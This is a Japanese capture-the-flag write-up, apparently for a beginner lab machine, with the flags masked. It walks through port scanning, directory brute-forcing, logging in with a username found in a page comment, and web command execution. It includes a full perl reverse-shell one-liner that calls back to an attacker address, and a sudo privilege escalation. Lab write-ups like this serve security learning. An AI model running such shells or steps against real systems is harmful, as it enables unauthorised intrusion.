一部を■で隠しています。
第一段階:RCE達成まで
$ export IP=■■■■■■■■ $ ping $IP
ポートスキャンする。
nmap
$ nmap -sC -sV $IP 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 23:56:fa:04:6a:f6:3f:68:7c:98:33:8d:80:92:8c:fa (RSA) | 256 1f:76:48:9d:24:23:21:d3:c1:b1:81:ae:bb:2c:30:6c (ECDSA) |_ 256 86:de:5f:86:8a:44:cc:ab:11:af:7a:6f:36:a0:4c:bf (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Rick is sup4r cool Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
とりあえず、80ですね。
ポート80
BURRRRRRということでgobusterする。
回しながら情報を集めると、コメントにUsername: R1ckRul3s
というのがあったのと、
/assets/
へアクセスするとディレクトリリスティングされてきた。
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt http://$IP/assets (Status: 301) http://$IP/index.html (Status: 200) http://$IP/robots.txt (Status: 200) http://$IP/server-status (Status: 403)
ほう。robots.txtへアクセスすると■■■■■■■■■■■■
か…
手詰まり感があるし、他に攻撃面もないので、niktoで脆弱性スキャンしてみよう。
nikto
$ nikto -h $IP + Server: Apache/2.4.18 (Ubuntu) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Server may leak inodes via ETags, header found with file /, inode: 426, size: 5818ccf125686, mtime: gzip + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + Allowed HTTP Methods: OPTIONS, GET, HEAD, POST + Cookie PHPSESSID created without the httponly flag + OSVDB-3233: /icons/README: Apache default file found. + /login.php: Admin login page/section found. + 7889 requests: 0 error(s) and 9 item(s) reported on remote host --------------------------------------------------------------------------- + 1 host(s) tested
いくつか上がってきた。とりあえず、/login.phpというのがあるので見てみる。
今までの情報を元に試すとR1ckRul3s:■■■■■■■■■■■■
でログイン試行するとログインできる。
突拍子もないアイデアに思えるかもしれないが、公開情報からパスワード候補を抜き出してくるというのは実際にある手法である。
コマンド実行可能
$ ls Sup3rS3cretPickl3Ingred.txt assets clue.txt denied.php index.html login.php portal.php robots.txt $ cat Sup3rS3cretPickl3Ingred.txt Command disabled to make it hard for future PICKLEEEE RICCCKKKK. $ php --version PHP 7.0.32-0ubuntu0.16.04.1 (cli) ( NTS )
ほう。catは使えないが、phpは使える。
使えるのだが、リバースシェルを書いてみると使えない。ふーむ。
リストを見ながら色々探して刺さるやつを探してくる。perlで行けそう
$ perl --version This is perl 5, version 22, subversion 1 (v5.22.1) built for x86_64-linux-gnu-thread-multi $ perl -e 'use Socket;$i="[ipaddress]";$p=30303;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
第二段階:侵入成功後
とりあえず取れる所取っていく
$ cat Sup3rS3cretPickl3Ingred.txt ■■■■■■■■■■■■■■■ $ cat clue.txt Look around the file system for the other ingredient.
ok. 色々見てみよう。
$ ls /home/rick second ingredients $ cat "/home/rick/second ingredients" ■■■■■■■■■■■■■
手詰まりだな…権限昇格できるかな
権限昇格を目指す
色々見てみるとSUDOがなんでもできる状態になっていることに気が付く。
$ sudo -l Matching Defaults entries for www-data on ip-10-10-79-12.eu-west-1.compute.internal: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on ip-10-10-79-12.eu-west-1.compute.internal: (ALL) NOPASSWD: ALL $ sudo ls /root 3rd.txt snap $ sudo cat /root/3rd.txt 3rd ingredients: ■■■■■■■■■■■
やっと全部抜き取れた…